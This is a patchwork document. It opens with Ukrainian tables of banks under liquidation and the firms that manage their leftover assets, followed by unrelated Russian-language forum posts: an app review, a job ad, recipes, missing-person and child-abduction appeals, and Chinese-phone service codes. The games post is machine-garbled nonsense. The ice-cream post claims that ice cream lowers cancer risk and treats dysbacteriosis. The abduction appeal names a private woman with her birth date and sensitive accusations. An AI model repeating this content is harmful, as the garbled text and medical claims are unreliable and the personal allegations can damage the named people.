22	ПУБЛІЧНЕ АКЦІОНЕРНЕ ТОВАРИСТВО "АКТАБАНК"*	19	15.01.2015	15.01.2015	адреса Фонду гарантування вкладів фізичних осіб: 01032, м. Київ, бульвар Т. Шевченка, 33 Б, сайт: http://www.fg.gov.ua/	Фонд гарантування вкладів фізичних осіб	0-800-308-108
23	ПУБЛІЧНЕ АКЦІОНЕРНЕ ТОВАРИСТВО "ІНТЕРКРЕДИТБАНК"*	27	16.01.2015	16.01.2015	адреса Фонду гарантування вкладів фізичних осіб: 01032, м. Київ, бульвар Т. Шевченка, 33 Б, сайт: http://www.fg.gov.ua/	Фонд гарантування вкладів фізичних осіб	0-800-308-108
24	ПУБЛІЧНЕ АКЦІОНЕРНЕ ТОВАРИСТВО "КОМЕРЦІЙНИЙ БАНК "АКСІОМА"*	68	30.01.2015	30.01.2015	адреса Фонду гарантування вкладів фізичних осіб: 01032, м. Київ, бульвар Т. Шевченка, 33 Б, сайт: http://www.fg.gov.ua/	Фонд гарантування вкладів фізичних осіб	0-800-308-108
25	ПУБЛІЧНЕ АКЦІОНЕРНЕ ТОВАРИСТВО "МЕЛІОР БАНК"*	87	10.02.2015	10.02.2015	адреса Фонду гарантування вкладів фізичних осіб: 01032, м. Київ, бульвар Т. Шевченка, 33 Б, сайт: http://www.fg.gov.ua/	Фонд гарантування вкладів фізичних осіб	0-800-308-108
Донецька область
26	ПУБЛІЧНЕ АКЦІОНЕРНЕ ТОВАРИСТВО "КОМЕРЦІЙНИЙ БАНК "ПРОМЕКОНОМБАНК"*	552	05.09.2014	08.09.2014	адреса Фонду гарантування вкладів фізичних осіб: 01032, м. Київ, бульвар Т. Шевченка, 33 Б, сайт: http://www.fg.gov.ua/	Фонд гарантування вкладів фізичних осіб	0-800-308-108
27	ПУБЛІЧНЕ АКЦІОНЕРНЕ ТОВАРИСТВО "КОМЕРЦІЙНИЙ БАНК "ПІВДЕНКОМБАНК"*	598	24.09.2014	26.09.2014	адреса Фонду гарантування вкладів фізичних осіб: 01032, м. Київ, бульвар Т. Шевченка, 33 Б, сайт: http://www.fg.gov.ua/	Фонд гарантування вкладів фізичних осіб	0-800-308-108
28	ПУБЛІЧНЕ АКЦІОНЕРНЕ ТОВАРИСТВО "КОМЕРЦІЙНИЙ БАНК УКРАЇНСЬКИЙ ФІНАНСОВИЙ СВІТ"*	717	10.11.2014	10.11.2014	адреса Фонду гарантування вкладів фізичних осіб: 01032, м. Київ, бульвар Т. Шевченка, 33 Б, сайт: http://www.fg.gov.ua/	Фонд гарантування вкладів фізичних осіб	0-800-308-108
Одеська область
29	ПУБЛІЧНЕ АКЦІОНЕРНЕ ТОВАРИСТВО "КОМЕРЦІЙНИЙ БАНК "СОЦКОМ БАНК"	371	20.10.2011	21.10.2011	65114, м. Одеса, вул. Люстдорфська дорога, 140 А.	Чібірдіна Ольга Олександрівна	(048) 734-51-51
30	ПУБЛІЧНЕ АКЦІОНЕРНЕ ТОВАРИСТВО "ФІНРОСТБАНК"*	660	16.10.2014	16.10.2014	адреса Фонду гарантування вкладів фізичних осіб: 01032, м. Київ, бульвар Т. Шевченка, 33 Б, сайт: http://www.fg.gov.ua/	Фонд гарантування вкладів фізичних осіб	0-800-308-108
31	ПУБЛІЧНЕ АКЦІОНЕРНЕ ТОВАРИСТВО АКЦІОНЕРНИЙ БАНК "ПОРТО-ФРАНКО"*	67	30.01.2015	30.01.2015	адреса Фонду гарантування вкладів фізичних осіб: 01032, м. Київ, бульвар Т. Шевченка, 33 Б, сайт: http://www.fg.gov.ua/	Фонд гарантування вкладів фізичних осіб	0-800-308-108
Полтавська область
32	ПУБЛІЧНЕ АКЦІОНЕРНЕ ТОВАРИСТВО "АВТОКРАЗБАНК"*	537	28.08.2014	29.08.2014	адреса Фонду гарантування вкладів фізичних осіб: 01032, м. Київ, бульвар Т. Шевченка, 33 Б, сайт: http://www.fg.gov.ua/	Фонд гарантування вкладів фізичних осіб	0-800-308-108
Харківська область
33	ПУБЛІЧНЕ АКЦІОНЕРНЕ ТОВАРИСТВО "ІННОВАЦІЙНО-ПРОМИСЛОВИЙ БАНК"	72	29.02.2012	02.03.2012	61003, м. Харків, вул. Клочкiвська, 3	Демедюк Олександр Станіславович	(057) 781-38-92
34	ПУБЛІЧНЕ АКЦІОНЕРНЕ ТОВАРИСТВО "АКЦІОНЕРНИЙ КОМЕРЦІЙНИЙ БАНК "БАЗИС"	357	23.08.2012	28.08.2012	61057, м. Харків, провулок Мар’яненка, 4	Красильникова Світлана Василівна	(057) 754-64-20 (057) 754-64-17 (057) 754-64-25
35	ПУБЛІЧНЕ АКЦІОНЕРНЕ ТОВАРИСТВО "РЕАЛ БАНК"*	295	21.05.2014	21.05.2014	адреса Фонду гарантування вкладів фізичних осіб: 01032, м. Київ, бульвар Т. Шевченка, 33 Б, сайт: http://www.fg.gov.ua/	Фонд гарантування вкладів фізичних осіб	0-800-308-108
36	ПУБЛІЧНЕ АКЦІОНЕРНЕ ТОВАРИСТВО БАНК "МЕРКУРІЙ"*	340	10.06.2014	12.06.2014	адреса Фонду гарантування вкладів фізичних осіб: 01032, м. Київ, бульвар Т. Шевченка, 33 Б, сайт: http://www.fg.gov.ua/	Фонд гарантування вкладів фізичних осіб	0-800-308-108
37	ПУБЛІЧНЕ АКЦІОНЕРНЕ ТОВАРИСТВО "БАНК ЗОЛОТІ ВОРОТА"*	781	04.12.2014	05.12.2014	адреса Фонду гарантування вкладів фізичних осіб: 01032, м. Київ, бульвар Т. Шевченка, 33 Б, сайт: http://www.fg.gov.ua/	Фонд гарантування вкладів фізичних осіб	0-800-308-108
Чернігівська область
38	Публічне акціонерне товариство "БАНК "Демарк"*	66	30.01.2015	30.01.2015	адреса Фонду гарантування вкладів фізичних осіб: 01032, м. Київ, бульвар Т. Шевченка, 33 Б, сайт: http://www.fg.gov.ua/	Фонд гарантування вкладів фізичних осіб	0-800-308-108

* ліквідація здійснюється Фондом гарантування вкладів фізичних осіб відповідно до Закону України "Про систему гарантування вкладів фізичних осіб".

Перелік банків, строк ліквідації яких завершено та ліквідаторами яких вживаються заходи

щодо виключення банків з Єдиного державного реєстру юридичних осіб та фізичних осіб – підприємців

відповідно до вимог статті 98 Закону України "Про банки і банківську діяльність" (у редакції, що діяла до 22.09.2012)

№ з/п	Назва банку	Стан завершення ліквідації
1	Відкрите акціонерне товариство Комерційний банк "Національний стандарт" **	19.10.2012 Національним банком України прийнято рішення про затвердження ліквідаційних балансів банків. Непродані активи банків та переліки вимог кредиторів передано юридичній особі – ТОВ "Міжнародна юридична фірма "ДІ ЕНД ДІ ЛОЄРС"
2	Акціонерний комерційний банк "Європейський" **
3	Відкрите акціонерне товариство "Європейський банк розвитку та заощаджень" **	24.02.2012 Національним банком України прийнято рішення про затвердження ліквідаційного балансу. Непродані активи банку та перелік вимог кредиторів передано юридичній особі – ПП "Марва".
4	Відкрите акціонерне товариство Комерційний Банк "Іпобанк" **	02.08.2013 Національним банком України прийнято рішення про затвердження ліквідаційного балансу.
5	ВІДКРИТЕ АКЦІОНЕРНЕ ТОВАРИСТВО "АКЦІОНЕРНИЙ КОМЕРЦІЙНИЙ БАНК "ОДЕСА-БАНК" **	26.07.2013 Національним банком України прийнято рішення про затвердження ліквідаційного балансу.
6	Товариство з обмеженою відповідальністю Комерційний банк "АРМА" **	29.11.2013 Національним банком України прийнято рішення про затвердження ліквідаційного балансу.
7	Акціонерний комерційний банк "Східно-Європейський банк" **	24.01.2014 Національним банком України прийнято рішення про затвердження ліквідаційного балансу." Непродані активи банку та перелік вимог кредиторів передано юридичній особі – ТОВ "Брокінвестгруп"
8	Комерційний банк "Українська фінансова група" – товариство з обмеженою відповідальністю **	24.01.2014 Національним банком України прийнято рішення про затвердження ліквідаційного балансу.
9	Акціонерний комерційний банк "Трансбанк" **	28.02.2014 Національним банком України прийнято рішення про затвердження ліквідаційного балансу. Непродані активи банку та перелік вимог кредиторів передано юридичній особі – Товариство з обмеженою відповідальністю "Юридична фірма "НОВАЦІЯ
10	Акціонерний банк "Банк регіонального розвитку" **	28.02.2014 Національним банком України прийнято рішення про затвердження ліквідаційного балансу. Непродані активи банку та перелік вимог кредиторів передано юридичній особі – Товариство з обмеженою відповідальністю "Агенція комплексного захисту бізнесу "Дельта М"
11	ПУБЛІЧНЕ АКЦІОНЕРНЕ ТОВАРИСТВО "ЗЕМЕЛЬНИЙ БАНК" **	11.03.2014 Національним банком України прийнято рішення про затвердження ліквідаційного балансу. Непродані активи банку та перелік вимог кредиторів передано юридичній особі – Товариство з обмеженою відповідальністю "АРІЄС"
12	Товариство з обмеженою відповідальністю "Український промисловий банк" **	28.02.2014 Національним банком України прийнято рішення про затвердження ліквідаційного балансу. Непродані активи банку та перелік вимог кредиторів передано юридичній особі – ТОВ "Інвестиційна компанія "ІФГ "Капітал"
13	Відкрите акціонерне товариство Банк "БІГ Енергія"**	Строк здійснення процедури ліквідації банку завершився 01.03.2014. Непродані активи банку та перелік вимог кредиторів передано юридичній особі – ТОВ "Брокінвестгруп"
14	Відкрите акціонерне товариство "Селянський комерційний банк "Дністер"**	Строк здійснення процедури ліквідації банку завершився 15.03.2014. Непродані активи банку та перелік вимог кредиторів передано юридичній особі – Приватне підприємство "Група компаній "ІНСЕ"
15	Товариство з обмеженою відповідальністю "Діалогбанк"**	Строк здійснення процедури ліквідації банку завершився 01.09.2014.
16	Публічне акціонерне товариство Акціонерний Банк "Синтез"**	Строк здійснення процедури ліквідації банку завершився 03.11.2014. Непродані активи банку та перелік вимог кредиторів передано юридичній особі – ТОВ "Юридична фірма "ПОКРОВСЬКИЙ, ЛЕВКІВСЬКИЙ ТА ПАРТНЕРИ"
17	Публічне акціонерне товариство "Комерційний банк "Володимирський!"**	Строк здійснення процедури ліквідації банку завершився 01.03.2015. Непродані активи банку та перелік вимог кредиторів передано юридичній особі – ТОВ "Інвест Кредит Капітал"

** Ліквідатором банку вживаються заходи щодо виключення банку з Єдиного державного реєстру юридичних осіб та фізичних осіб – підприємців в порядку, передбаченому Законом України "Про державну реєстрацію юридичних осіб та фізичних осіб – підприємців"

Юридичні особи, яким передано в управління непродані активи

та перелік незадоволених вимог кредиторів ліквідованих банків

№ з/п	Назва юридичної особи	Назва ліквідованого банку, активи та перелік незадоволених вимог кредиторів якого передано в управління	Номер та дата рішення про передавання в управління активів	Адреса юридичної особи	Телефон юридичної особи
1	Адвокатське об’єднання "Адвокатська фірма "АКТІО"	АБ "Аллонж"	№ 210 від 23.03.2012	01033, м. Київ, вул. Щорса, 36 Б	(044) 377-77-60
2	ТОВ "Торнадо."	АК АПБ "Україна"	№ 552 від 14.10.2008	02099, м. Київ, вул. Бориспільська 9, а/с 182
3	ПП "Марва"	ВАТ "Європейський банк розвитку та заощаджень"	№ 102 від 17.02.2012	03680, м. Київ, пр. Академіка Глушкова, 1, павільйон № 6	(044) 596-93-24
4	ТОВ "Міжнародна юридична фірма "ДІ ЕНД ДІ ЛОЄРС"	Акціонерний комерційний банк "Європейський" накопичувальний рахунок № 32078417401 в Головному управлінні Національного банку України по м. Києву та Київській області	№ 698 від 14.09.2012	04080, м. Київ, вул. Юрківська/Фрунзе, буд. 2-6/32 А	(094) 929-11-48
4	ТОВ "Міжнародна юридична фірма "ДІ ЕНД ДІ ЛОЄРС"	Відкрите акціонерне товариство Комерційний банк "Національний стандарт" накопичувальний рахунок № 32075417501 в Головному управлінні Національного банку України по м. Києву та Київській області	№ 699 від 14.09.2012	04080, м. Київ, вул. Юрківська/Фрунзе, буд. 2-6/32 А	(094) 929-11-48
5	Товариство з обмеженою відповідальністю "Агенція комплексного захисту бізнесу "Дельта М"	Акціонерний банк "Банк регіонального розвитку	№834 від 25.10.2013	02660, м. Київ, вул. Марини Раскової, 21, 10 поверх	(044) 364-14-44 (044) 222-86-92 (044) 517-43-27
6	ТОВ "Інвестиційна компанія "ІФГ "Капітал"	Товариство з обмеженою відповідальністю "Український промисловий банк"	№ 232 18.04.2013	03680, м. Київ, вул. Червоноармійська, 72, офіс 48	(044) 392-47-62
7	Товариство з обмеженою відповідальністю "Юридична фірма "НОВАЦІЯ"	Акціонерний комерційний банк "Трансбанк"	№56 21.01.2014	01133, м. Київ, бульвар Лесі Українки, 26, прим. № 3	(050) 335-77-14
8	Товариство з обмеженою відповідальністю "АРІЄС"	ПУБЛІЧНЕ АКЦІОНЕРНЕ ТОВАРИСТВО "ЗЕМЕЛЬНИЙ БАНК"	№ 585 23.12.2014	01033, м. Київ, вул. Саксаганського, 106/11, квартира 3	(067) 245-39-01
9	ТОВ "Брокінвестгруп"	Акціонерний комерційний банк "Східно-Європейський банк"	№ 920 29.11.2013	40020, м. Суми, вул. Л. Українки, 14	(0542) 70-55-49
9	ТОВ "Брокінвестгруп"	Відкрите акціонерне товариство Банк "БІГ Енергія"	№ 1000 20.12.2013	40020, м. Суми, вул. Л. Українки, 14	(0542) 70-55-49
10	Приватне підприємство "Група компаній "ІНСЕ"	Відкрите акціонерне товариство "Селянський комерційний банк "Дністер"	№ 19 17.01.2014	Адреса для листування: 79000, м. Львів, а/с 203	(050) 743-18-55
11	Товариство з обмеженою відповідальністю "Юридична фірма "ПОКРОВСЬКИЙ, ЛЕВКІВСЬКИЙ ТА ПАРТНЕРИ"	Публічне акціонерне товариство Акціонерний Банк "Синтез"	№ 455 27.10.2014	Адреса для листування: 04053, м. Київ, вул. Артема, 47 офіс 1	(044) 495-50-31
12	Товариство з обмеженою відповідальністю "Інвест Кредит Капітал"	Публічне акціонерне товариство "Комерційний банк "Володимирський"	№ 64 10.02.2015	Адреса для листування: 01001, м. Київ, вул. Еспланадна, 20, оф. 1105	(044) 228-44-20

Из официального источника: http://bank.gov.ua

Wi-Fi Map Pro лучшая программа для обнаружения бесплатного интернета по всему миру.

chibis — Mon, 02 Mar 2015 11:30:46 GMT

Всего несколько лет тому назад невозможно было представить, что ходить в интернет можно будет без проводов. Ну а о том, что это можно будет делать совершенно бесплатно даже и подумать никто не мог. Но в настоящее время, благодаря развитию технологий, практически во всех общественных заведениях имеется точка беспроводного доступа в интернет, а в современных электронных устройствах присутствует встроенный модуль Wi-Fi. Это также касается гаджетов от компании Apple — iPhone, iPad, iPod Touch, — все они поддерживают Wi-Fi соединение, также гаджет работает со всеми мобильными телефонами на Андроиде - Осталось только найти открытую точку беспроводного интернета, а поможет нам в этом приложение Wi-Fi Map Pro.

Wi-Fi Map представляет собой очень удобный инструмент по поиску открытых и бесплатных точек Wi-Fi. Как вы прекрасно знаете, огромное количество кафе, клубов, офисных помещений и других заведений предоставляют своим посетителям возможность воспользоваться беспроводным интернетом. К сожалению, далеко не всегда беспроводные точки доступа не имеют пароля. Таким образом, помимо того, что вам предстоит найти доступный Wi-Fi, вам еще предстоит и узнать пароль для доступа в сеть. Что ж, и с той и с другой задачей поможет вам справиться приложение Wi-Fi Map Pro.

Принцип работы приложения Wi-Fi Map очень прост. Оно анализирует данные другого популярного интернет-сервиса под названием Foursquare, выбирает из него исключительно информацию о наличии интернет-соединения и пароля к нему, и предоставляет пользователям iГаджетов. На практике мы получаем невероятно удобный инструмент для поиска точек Wi-Fi и паролей к ним.

У вас есть возможность просматривать доступные Wi-Fi точки,$CUT$ как на карте, так и в соответствующем окне, которое также сообщит вам, как далеко от вашего местонахождения находится то или иное заведение. Нажав на подходящее заведение, вы получите информацию с его адресом, а также данные о доступе в интернет. Это очень удобно и практично, только представьте, насколько подобный сервис окажется полезен при путешествии, когда вы попросту не знаете, где можно отыскать открытую точку доступа Wi-Fi. Не заменимым и очень полезной программой станет для моряков находящихся в рейсе и дома.

Что касается опыта использования, то Wi-Fi Map является очень удобным инструментом. Единственным минусом, с которым мне приходилось сталкиваться при использовании Wi-Fi Map — это некоторая некорректность данных. Дело в том, что как я уже отметил, Wi-Fi Map использует данные сервиса Foursquare, в связи с чем, приложение дает не всегда корректный результат. Иногда выходит так, что в том или ином заведении Wi-Fi присутствует, однако он является закрытым, а Wi-Fi Map ничего об этом не сообщает. Другими словами, приложение является удобным инструментом для поиска беспроводных точек, однако нельзя на него полагаться на сто процентов. Именно поэтому, Wi-Fi Map получает четыре из пяти доступных баллов.

Приложение Wi-Fi Map распространяется в виде бесплатной и платной версии. Различие между Wi-Fi Map Free и Wi-Fi Map Pro заключается в том, что платная версия поддерживает оффлайн-режим, а значит, вы сможете получить доступ к информации даже в случае отсутствие интернет-соедиения. Эту функцию особенно оценят те пользователи, кому часто приходится посещать другие страны и города, где роуминг стоит недешево.

[iTunes link] – Бесплатно [Play Market for Android] - Бесплатно
[iTunes link] – 129 р.

Помощь в трудоустройстве OdessaCrewing

OdessaCrewing — Thu, 22 Jan 2015 14:27:09 GMT

Предлагает работу морякам в украинских и смешанных экипажах старший и средний командный состав, возраст не ограничен. Знание английского в меру служебных обязанностей. Срок контракта от 2 до 6 месяцев. Реальная перспектива карьерного роста. Все услуги по трудоустройству моряков предоставляются бесплатно. В Одессе сотрудничаю с 16-ю крюинговыми компаниями, которые популярны по всей Украине. Юридические вопросы, оказываю помощь пострадавшим морякам в их отношениях с компаниями, связанные с вымогательством неофициальных денег за трудоустройство, мошенничество во время подписания контрактов, невыплата зарплаты и т.д.. ________________ CONTACTS: ( +380661625914 Игорь ) Pls send CV to 0957915759@mail.ru

Лимонад делаем дома

DarrellCync — Thu, 20 Nov 2014 17:29:29 GMT

Фрукты обдать кипятком, положить в морозилку на 8-10 часов, а затем опустить ненадолго в горячую воду (чтобы фрукты лучше поддались нарезке) после этого нарезать на кусочки и прокрутить через мясорубку.
Прокрученную массу залить 3-мя литрами холодной питьевой воды.
Через 15 минут настой профильтровать, сначала через дуршлаг, чтобы убрать крупные кусочки, затем через сито, чтобы удалить мякоть, – (отходы не выбрасывайте, они вам еще пригодятся).
1кг. сахара растворите в 2 литрах теплой воды.
Долить в отфильтрованный настой еще 4 (четыре!) литра воды и 2 литра, получившегося сиропа.
Дайте настояться еще час и всё! Лимонад готов.
Перелейте в красивый кувшин, а остальной в бутылки. Все поставите в холодильник.
Если вас испугает столь большой литраж, уменьшите количество ингредиентов наполовину.
Но я уверена что, попробовав этот напиток, вы будете его готовить еще и еще.
Лимонад получился очень вкусный, освежающий! Я взяла половину нормы, выход у меня получился 5 литров.
Отходы можно засыпать сахаром, и довести до кипения – получится варенье.

Внимание! Пропал Капитан в море работал от Марлоу Навигатион

chibis — Wed, 12 Nov 2014 19:43:03 GMT

Внимание пропал Николаев Юрий Игоревич / Капитан теплохода O.M.Agarum 15/09/2013г.

ориентировочно судно проходило возле острова Providenciales. Фирма-работодатель

''Marlow Navigation Ukraina'' г.Одесса не каких действий по поиску пропавшего человека не

предоставляет не какой информации родственникам пропавшего моряка все кто что знает про

этот случай $CUT$ любую информации просьба сообщить по тел.+380937647264 Нели

Ролевые Игры

Sapozhnikovsire — Mon, 10 Nov 2014 11:33:35 GMT

Prime Billy (рус. Свет Прайма) — ролевая стратегия с элементами MOBA.
Игрок выступает в роли Лорда, сколько нанимает для службу героев. В своем замке Дворянин возводит строения, нанимает и улучшает героев, производит чтобы них максимально эффективный сбруя «талантов».
В бою он управляет одним из героев, сражаясь с другими игроками команда для команду разве с друзьями насупротив монстров (чуди) и соответственно мере получения прайма активирует выбранные исключая в замке "таланты".
Помимо версии чтобы ПК, анонсированы приложения ради iPad и планшетов для Android, с чрез которых игрок сможет велеть своим замком.

В Dark Age игрокам доступны пять рас.
Кроме привычного набора из гномов, эльфов и людей появились также каменные гиганты Франгоры и детища богинь смерти Веспериане, которые больно похожи на темных эльфов.
Выключая того в игре восемь классов: душегуб, служака, маг и жрец это стандартные классы, а поэт, стрелок, заступник и жестокий $CUT$ лупить чуть у некоторых из рас.
У каждой расы в Swarthy Mature имеются отдельные стартовые локации. Первый час отводится игроку для основные навыки по управлению персонажем, а кроме он приступает к основной части игры.

Firefall — многопользовательская командная онлайновая компьютерная игра в жанре шутера от первого/третьего лица. Разрабатывается компанией Red 5 Studios, основанной в 2005 году Марком Керном, возглавлявшим команду World of Warcraft.

Фрагория — компьютерная игра, относящаяся к типу ролевых массово-многопользовательских браузерных игр в реальном времени от третьего лица (BBMMORPG), условно-бесплатная. Игровая вселенная создана в жанре фэнтези в старославянском стиле. Игра сочетает в себе возможности таких игр, как Diablo и World of Warcraft (WOW). Игровой мир населён разнообразной живностью, в игре доступны как PVE (игрок против монстров), так и PVP (игрок против игрока) составляющие, которые дополняют друг друга. С девятого уровня игроку предстоит выбрать путь развития персонажа. Помимо боевых навыков можно развивать профессии и торговые репутации. Игра включает обширную территорию для общения игроков друг с другом, есть внутриигровая почта, чат, можно создавать гильдии, иногда проводятся турниры и различные праздники.

«Войны престолов» — военно-экономическая стратегия в жанре темного фэнтези. Даже если ты новичок в играх такого жанра — лорд Оберон научит тебя, как править твердой рукой!

Пароград (City of Steam) – это браузерная многопользовательская ролевая онлайн-игра игра (MMORPG) на ядре Unity3D от разработчика Mechаnist Games. Действие этой игры разворачивается в фэнтези-мире с элементами промышленного стимпанка.

0lLrMizmaD

Похищен ребенок. Kidnapped child.

SearchMaksZ — Tue, 09 Sep 2014 16:18:00 GMT

Просьба к администраторам форума не удалять данный пост ну или по крайней мере перенести его в более подходящую категорию.

Просим помощи в распространение информации о похищении ребенка.

Администраторы, ПРИНОШУ СВОИ ИСКРЕННИЕ ИЗВИНЕНИЯ, к нашей беде откликнулось много людей помогающих нам в распространении информации, в связи с этим были случаи размещения одинаковой информации на форумах и в группах, но просить людей проверять информации перед её размещением были бы верх нашей наглости.

Не сочтите данное действие за спам. Спасибо многим из Вас $CUT$ за понимание.
******************************************************************
Request to the forum administrators do not delete this post well, or at least move it to a more appropriate category.
Please help us spread information about the kidnapping.

Administrators offer my sincere apologies to our trouble Many people responded to help us in disseminating information concerning the cases were placing the same information in the forums and groups, but ask people to check the information before it is made public would be top of our impudence. Do not consider this action as spam. Thanks to many of you for your understanding.
******************************************************************

Похищен Максимов Александр Евгеньевич, 10 сентября 2006 года рождения, проживал с отцом Максимовым Евгением Александровичем в городе Тирасполь, Молдова.

29 мая 2014 года ребенок был похищен из спортивной секции в городе Тирасполь, похищен был так называемой биологической "матерью" ребенка Доага (Максимова) Кристина Федоровна, 19 октября 1984 г.р., которая в 2010 году из за психического состояния и регулярных действий ставивших жизнь ребенка под угрозу была лишена родительских прав. С 2010 года по 29 мая 2014 никакого участия в жизни ребенка не принимала, не приходила, не интересовалась, не занималась воспитанием и содержанием ребенка, её судьба была не известна, кроме того, что она занималась проституцией в Турции.

С 29 мая 2014 года по настоящее время местонахождение ребенка не известно, не известно даже в какой стране она с ребенком находится. Похищен в городе Тирасполь, Приднестровье, вывезен в Республику Молдова. На настоящий момент пытаются незаконно сделать Молдавское гражданство и Молдавский паспорт как самой Доаге (Максимовой) Кристине Федоровне, так и детям, при том, что у Доаги Кристины уже есть два гражданства, это России и Украины, у детей гражданство России. Собирается (либо уже выехала) в Российскую федерацию, в частности может выехать в город Калуга либо в город Обнинск (Калужскую или Московскую область).

Правоохранительными органами гражданка Максимова (Девичья Доага) Кристина Федоровна объявлена в официальный розыск, возбужденно розыскное дело в отношении её и в отношении ребенка.
На сегодняшний день в отношении её уже возбужденно уголовное дело.

Страница похищенного ребенка ( maksimovgenya . ru ) - http://maksimovgenya.ru
Группа в Одноклассниках - http://ok.ru/maksimovsasha
Группу которую пытались удалить - http://ok.ru/propalrebe

На настоящий момент дети не посещают учебные заведения, грубо нарушаются все возможные права ребенка, Просим у Вас помощи в определении место нахождения несовершеннолетнего ребенка, ведь дети должны учиться, должны посещать учебные заведения.

В Генеральную Прокуратуру, в МВД, в СК, Министерства образования, Юстиции, и т.д. и т.п. вся информация направлена вместе с со всеми копиями документов.

******************************************************************

Kidnapped Maksimov Alexander E., September 10, 2006 birth, lived with his father Eugene A. Maximov in Tiraspol, Moldova.

May 29, 2014 the child was abducted from the sports section in Tiraspol, was kidnapped by the so-called biological "mother" of the child Doaga (Maximov) Christina F., born October 19, 1984, which in 2010 due to mental status and regular actions put child's life in jeopardy was deprived of parental rights. From 2010 to May 29, 2014 no part in the child's life did not take, did not come, not interested, not involved in the education and maintenance of the child, her fate was not known, except that she was engaged in prostitution in Turkey.

From May 29 2014 to the present whereabouts of the child does not know, does not even know what country she is with child. Kidnapped in the city of Tiraspol, Transnistria, is taken out in the Republic of Moldova. At the moment, trying to illegally make Moldovan citizenship and Moldovan passport as most Doage (Maximova) Christine Fedorovna and children, despite the fact that Christina Doagi already have dual citizenship, it is Russia and Ukraine, the children Russian citizenship. Going to (or have already left) in the Russian Federation, in particular, can go to the city of Kaluga or Obninsk (Kaluga and Moscow region).

Law enforcement agencies citizen Maximova (Maiden Doaga) Christina F. announced in the official search, excitedly search case against her and the child.
To date, in relation to its already a criminal case.

Page abducted child ( maksimovgenya . ru ) - http://maksimovgenya.ru
Group at classmates - http://ok.ru/maksimovsasha
Group which tried to remove - http://ok.ru/propalrebe

At present, children are not attending schools are grossly violated all possible rights of the child, ask for your help in determining the location of a minor child, because children need to learn, need to attend school.

Attorney General's Office, the Ministry of Interior, in the UK, the Ministry of Education, Justice, etc. etc. All information filed with all copies of the documents.

Мороженое

sirius10 — Fri, 28 Mar 2014 15:14:43 GMT

История морожено уходит своими корнями в Древний Китай. Именно там встречается первое письменное упоминание о мороженом, которое можно найти в китайском сборнике песен «Шинзин», возраст которого составляет более 3000 лет до нашей эры. Как гласят древние письмена, на столы китайских императоров подавались замороженные фруктовые соки. Со временем широкие торговые связи Китая с другими государствами способствовали распространению этого молочного продукта по всему миру. В IV веке до нашей эры Александр Македонский совершил поход в Азию, где в персидских и индийских землях попробовал фруктовые соки со снегом и льдом. Так эти лакомства перекочевали на европейский континент.

В Древнем Риме особой популярностью пользовались замороженные десерты. Восточные походы римских легионеров постепенно увеличивали количество рецептов, и со временем замороженные соки перестали быть экзотикой. $CUT$
Итак переходим к самому простому рецепту изготовлении мороженое:

Нам понадобится:
Молоко — 390 г
Молоко сухое — 25 г
Сахар — 75 г
Крахмал кукурузный — 10 г
Ванильный сахар — 1 пакет.

Дальше делаем так:

1 Смешать в миске сухое молоко, сахар и ванильный сахар.

2 Отлить от молока 50 г и отставить. А 340 г молока влить в смесь сахара и сухого молока.

3 В оставшихся 50 г молока растворить крахмал, размешать.

4 Смесь молока, сахара и сухого молока перелить в кастрюлю. Добавить смесь крахмала и молока, размешать и довести до кипения, постоянно мешая. Смесь должна завариться, загустеть.
Убрать с огня, охладить и поставить в холодильник на часок.

5 Охлажденный молочный кисель перелить в мороженицу и замораживать около 30 минут.

6 Готовое мороженое перелить в контейнер и заморозить.

Если у вас нет мороженицы, то вы заливаете молочный коктейль в глубокое блюдо, кладете в морозильник примерно на 40-60 минут, вынимаете каждые 15-20 минут и взбиваете миксером. Затем переливаете в контейнер и кладете в морозильник на хранение.

Перед подачей вынуть из морозильника за 5-10 минут, чтобы мороженое слегка оттаяло, так легче его делить на шарики.

Мороженое очень хороший источник кальция. А тот в свою очередь играет важную роль в снижении веса. Так при проведении ряда экспериментов люди, принимающие ежедневно дополнительное количество кальция, теряли на 25-40 % больше лишнего веса, чем те, кто придерживался таково же питания, но без дополнительного приема кальция. А те, кто получал дополнительный кальций прямо из молочных продуктов, избавились от лишних килограммов еще быстрее. Кальций способствует сжиганию лишнего жира значительно быстрее. Каждый день необходимо употреблять 1200 мг кальция, который содержится в 3-4 порциях молочных продуктов, но следует употреблять продукты с низким содержанием жира.
В мороженом содержится более сотни важных для организма человека веществ. Более 20 видов аминокислот белка, около 25 различных видов жирных кислот, 30 минеральных солей, 20 различных витаминов и важные для обмена веществ ферменты. Мороженое укрепляет костную ткань, снижает кровяное давление, уменьшает риск возникновения рака кишечника, повышает иммунитет организма, снижает вероятность появления камней в почках, улучшает деятельность мозг, лечит дисбактериоз.
По степени жирности мороженое делится на следующие виды:

- Молочное, имеет от 3 до 8 процентов содержания жира

- Сливочное, имеет от 8 до 10 процентов содержания жира

- Пломбир, имеет от 15 до 20 процентов содержания жира.

Существует такое мороженное как йогуртовое. Оно по жирности сравнимо с молочным. В замороженных продуктах йогуртовые бактерии находятся в состоянии спячки и поэтому лучше сохраняют свою жизненную активность. Полезность употребления таких молочных продуктов возрастает в несколько раз.

Моя самая любимая книга: Ледяной город. Автор — Джон Фарроу. В ней тоже есть кое-что про мороженое!
Энциклопедия Молодой Семьи - Мороженое

Настройки для китайского телефона

chibis — Mon, 18 Nov 2013 16:24:39 GMT

Хочу рассказать интересную историю о покупке китайского телефона, не давно я приобрёл не обычную модель китайского телефона модель CAT B25 на 2сим. ударопрочный в влагозащищённом корпусе то что надо для рейса. В магазине проверил телефон на целостность самого гаджета и всех дополнительных полезных вещей входящих в комплект ну и запустил телефон не вставляя симку вроде было всё нормально.
После решил дома проверить все функции устройства вставил симку сделал первый звонок и услышал в ответ что меня абонент на другом конце нормально не слышит а слышит какой то металлический шум я был очень разочарован покупкой думал пойти вернуть обратно в магазин потом думаю поискать информацию в интернете что пишут пользователи китайских телефонов в сети. Дальше я узнал что можно зайти в телефон с помощью специальных паролей и настроить под себя телефон. Нашёл много информации собранных с различных сайтов я собрал всю информацию в одну статью читайте ниже подходит для любых моделей китайских телефонов проверено на собственном опыте мой новый телефон после $CUT$ этих настроек стал отлично работать.

Теперь по подробно как это всё настроить что бы вы не разочаровались в телефоне.

Что бы поменять настройки в китайском телефоне, Для начала нужно зайти в инженерное меню, набрав один из ниже-перечисленных кодов:

*#3333#

*#20080808#

*#3646633#

*#9646633#
 
*#82043036#
 
*#88883209# 

*#*#2005#

*#65289*#

*#856633#

*#110*01#

*#5468791*#

*#9433646633#

*# 666# 

*#36951#

*#3234#

*#9573646633#
 
*#77218114#

*#881188#

*#94267357#

*#746666#
 
*#9426*357#
 
